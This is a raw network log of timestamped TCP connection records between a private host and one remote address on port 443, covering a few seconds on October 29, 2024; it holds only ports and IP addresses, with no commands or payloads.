Oct 29, 2024 18:42:43.636403084 CET	49855	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.636408091 CET	443	49855	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.638853073 CET	49860	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.638885021 CET	443	49860	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.638967991 CET	49860	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.639076948 CET	49860	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.639090061 CET	443	49860	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.746177912 CET	443	49857	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.746249914 CET	443	49857	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.746313095 CET	49857	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.746489048 CET	49857	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.746489048 CET	49857	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.746503115 CET	443	49857	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.746512890 CET	443	49857	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.748970032 CET	443	49859	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.749054909 CET	443	49859	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.749134064 CET	49859	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.749560118 CET	49859	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.749560118 CET	49859	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.749567032 CET	443	49859	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.749573946 CET	443	49859	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.751986027 CET	49861	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.752015114 CET	443	49861	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.752080917 CET	49861	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.753084898 CET	49862	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.753112078 CET	443	49862	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.753122091 CET	49861	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.753129959 CET	443	49861	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.753176928 CET	49862	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.753273010 CET	49862	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.753283024 CET	443	49862	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.755609989 CET	443	49858	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.755670071 CET	443	49858	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.755717993 CET	49858	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.755814075 CET	49858	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.755826950 CET	443	49858	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.755836964 CET	49858	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.755844116 CET	443	49858	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.757611990 CET	49863	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.757631063 CET	443	49863	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.757699966 CET	49863	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.757810116 CET	49863	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.757821083 CET	443	49863	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.767908096 CET	443	49856	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.768038034 CET	443	49856	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.768110037 CET	49856	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.768120050 CET	443	49856	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.768158913 CET	443	49856	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.768201113 CET	49856	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.768212080 CET	443	49856	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.768223047 CET	49856	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.768223047 CET	49856	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.768229008 CET	443	49856	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.768235922 CET	443	49856	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.769938946 CET	49864	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.769973993 CET	443	49864	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:43.770030022 CET	49864	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.770179033 CET	49864	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:43.770198107 CET	443	49864	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.391495943 CET	443	49860	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.392242908 CET	49860	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.392251968 CET	443	49860	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.392771959 CET	49860	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.392776012 CET	443	49860	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.483349085 CET	443	49861	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.483921051 CET	49861	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.483937979 CET	443	49861	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.490367889 CET	49861	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.490385056 CET	443	49861	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.506169081 CET	443	49863	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.506753922 CET	49863	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.506764889 CET	443	49863	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.507333040 CET	49863	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.507350922 CET	443	49863	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.508230925 CET	443	49862	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.508539915 CET	49862	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.508563995 CET	443	49862	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.508861065 CET	49862	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.508867025 CET	443	49862	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.514018059 CET	443	49864	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.514277935 CET	49864	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.514308929 CET	443	49864	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.514600039 CET	49864	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.514607906 CET	443	49864	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.523245096 CET	443	49860	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.523283005 CET	443	49860	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.523345947 CET	443	49860	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.523355961 CET	49860	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.523401976 CET	49860	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.523619890 CET	49860	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.523619890 CET	49860	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.523636103 CET	443	49860	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.523644924 CET	443	49860	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.526588917 CET	49865	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.526640892 CET	443	49865	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.526786089 CET	49865	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.526947975 CET	49865	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.526964903 CET	443	49865	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.616512060 CET	443	49861	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.616663933 CET	443	49861	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.616761923 CET	49861	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.617047071 CET	49861	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.617047071 CET	49861	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.617068052 CET	443	49861	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.617080927 CET	443	49861	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.619999886 CET	49866	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.620057106 CET	443	49866	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.620207071 CET	49866	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.620323896 CET	49866	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.620342970 CET	443	49866	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.635957956 CET	443	49863	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.636040926 CET	443	49863	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.636099100 CET	49863	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.636192083 CET	49863	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.636205912 CET	443	49863	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.636221886 CET	49863	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.636229038 CET	443	49863	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.638624907 CET	49867	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.638643026 CET	443	49867	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.638879061 CET	49867	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.638879061 CET	49867	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.638911009 CET	443	49867	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.646673918 CET	443	49864	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.646729946 CET	443	49864	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.646771908 CET	443	49864	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.646771908 CET	49864	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.646815062 CET	49864	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.646871090 CET	49864	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.646884918 CET	443	49864	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.646903038 CET	49864	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.646908998 CET	443	49864	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.648742914 CET	49868	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.648770094 CET	443	49868	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.648847103 CET	49868	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.648981094 CET	49868	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.648998976 CET	443	49868	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.739306927 CET	443	49862	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.739402056 CET	443	49862	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.739737034 CET	49862	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.739820004 CET	49862	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.739835978 CET	443	49862	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.739857912 CET	49862	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.739862919 CET	443	49862	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.742672920 CET	49869	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.742717981 CET	443	49869	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:44.742784023 CET	49869	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.742923975 CET	49869	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:44.742935896 CET	443	49869	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.266361952 CET	443	49865	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.267169952 CET	49865	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.267230988 CET	443	49865	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.267770052 CET	49865	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.267798901 CET	443	49865	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.394684076 CET	443	49867	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.394948959 CET	443	49866	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.395348072 CET	49867	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.395389080 CET	443	49867	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.395597935 CET	49866	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.395626068 CET	443	49866	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.395633936 CET	443	49868	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.395886898 CET	49867	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.395900011 CET	443	49867	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.395941019 CET	443	49865	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.396085024 CET	49866	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.396092892 CET	443	49866	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.396119118 CET	443	49865	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.396226883 CET	49868	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.396239996 CET	443	49868	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.396265030 CET	49865	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.396359921 CET	49865	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.396359921 CET	49865	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.396395922 CET	443	49865	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.396419048 CET	443	49865	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.396639109 CET	49868	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.396645069 CET	443	49868	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.399506092 CET	49870	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.399534941 CET	443	49870	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.399625063 CET	49870	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.399790049 CET	49870	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.399804115 CET	443	49870	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.514159918 CET	443	49869	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.514611959 CET	49869	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.514638901 CET	443	49869	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.515074968 CET	49869	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.515080929 CET	443	49869	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.527012110 CET	443	49868	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.527038097 CET	443	49868	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.527081013 CET	443	49868	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.527092934 CET	49868	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.527127981 CET	49868	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.527378082 CET	49868	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.527393103 CET	443	49868	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.527403116 CET	49868	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.527409077 CET	443	49868	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.528821945 CET	443	49867	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.528907061 CET	443	49867	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.528981924 CET	49867	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.529676914 CET	49867	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.529690981 CET	443	49867	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.529702902 CET	49867	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.529716015 CET	443	49867	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.532027006 CET	49871	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.532064915 CET	443	49871	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.532118082 CET	49872	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.532154083 CET	443	49872	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.532169104 CET	49871	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.532289982 CET	49871	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.532300949 CET	443	49871	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.532314062 CET	49872	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.532392025 CET	49872	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.532407999 CET	443	49872	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.535351038 CET	443	49866	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.535376072 CET	443	49866	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.535415888 CET	443	49866	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.535444021 CET	49866	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.535476923 CET	49866	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.535533905 CET	49866	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.535554886 CET	443	49866	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.535569906 CET	49866	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.535577059 CET	443	49866	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.537595034 CET	49873	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.537616014 CET	443	49873	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.537682056 CET	49873	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.537812948 CET	49873	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.537828922 CET	443	49873	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.648367882 CET	443	49869	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.648451090 CET	443	49869	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.648562908 CET	49869	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.648771048 CET	49869	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.648787022 CET	443	49869	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.648797035 CET	49869	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.648802996 CET	443	49869	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.651492119 CET	49874	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.651539087 CET	443	49874	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:45.651639938 CET	49874	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.651784897 CET	49874	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:45.651813030 CET	443	49874	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.131123066 CET	443	49870	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.131803989 CET	49870	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.131815910 CET	443	49870	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.132277966 CET	49870	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.132282972 CET	443	49870	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.265793085 CET	443	49870	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.265853882 CET	443	49870	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.265913963 CET	443	49870	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.265938997 CET	49870	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.265989065 CET	49870	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.266237020 CET	49870	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.266248941 CET	443	49870	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.266259909 CET	49870	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.266264915 CET	443	49870	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.269352913 CET	49875	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.269391060 CET	443	49875	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.269697905 CET	49875	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.269697905 CET	49875	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.269736052 CET	443	49875	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.278661966 CET	443	49872	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.279179096 CET	443	49873	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.279228926 CET	49872	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.279292107 CET	443	49872	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.279453993 CET	49873	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.279491901 CET	443	49873	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.279694080 CET	49872	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.279709101 CET	443	49872	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.279968023 CET	49873	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.279978037 CET	443	49873	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.396163940 CET	443	49874	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.396667957 CET	49874	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.396732092 CET	443	49874	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.397100925 CET	49874	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.397115946 CET	443	49874	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.410231113 CET	443	49872	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.410303116 CET	443	49872	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.410384893 CET	49872	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.410406113 CET	443	49872	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.410438061 CET	443	49872	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.410492897 CET	49872	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.410538912 CET	49872	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.410538912 CET	49872	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.410578012 CET	443	49872	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.410602093 CET	443	49872	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.411415100 CET	443	49873	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.411480904 CET	443	49873	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.411528111 CET	49873	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.411583900 CET	49873	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.411607981 CET	443	49873	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.411622047 CET	49873	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.411628962 CET	443	49873	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.413861036 CET	49876	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.413909912 CET	443	49876	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.413979053 CET	49876	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.414818048 CET	49877	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.414844990 CET	443	49877	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.414891005 CET	49877	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.414963007 CET	49876	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.414983034 CET	443	49876	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.415045977 CET	49877	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.415060997 CET	443	49877	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.489528894 CET	443	49871	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.490051985 CET	49871	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.490088940 CET	443	49871	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.490520954 CET	49871	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.490530014 CET	443	49871	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.531532049 CET	443	49874	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.531620026 CET	443	49874	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.531704903 CET	49874	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.577769041 CET	49874	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.577769041 CET	49874	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.577822924 CET	443	49874	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.577848911 CET	443	49874	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.621189117 CET	443	49871	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.621798992 CET	443	49871	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.621891022 CET	49871	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.676001072 CET	49871	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.676029921 CET	443	49871	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.676045895 CET	49871	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.676052094 CET	443	49871	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.846967936 CET	49878	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.847014904 CET	443	49878	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.847078085 CET	49879	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.847090960 CET	49878	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.847112894 CET	443	49879	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.847167015 CET	49879	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.847407103 CET	49879	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.847419024 CET	443	49879	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:46.847440004 CET	49878	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:46.847451925 CET	443	49878	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:47.039509058 CET	443	49875	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:47.040002108 CET	49875	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:47.040023088 CET	443	49875	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:47.040579081 CET	49875	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:47.040586948 CET	443	49875	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:47.141148090 CET	443	49876	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:47.141635895 CET	49876	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:47.141648054 CET	443	49876	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:47.142169952 CET	49876	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:47.142180920 CET	443	49876	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:47.153386116 CET	443	49877	13.107.246.45	192.168.2.5
Oct 29, 2024 18:42:47.153800964 CET	49877	443	192.168.2.5	13.107.246.45
Oct 29, 2024 18:42:47.153815031 CET	443	49877	13.107.246.45	192.168.2.5
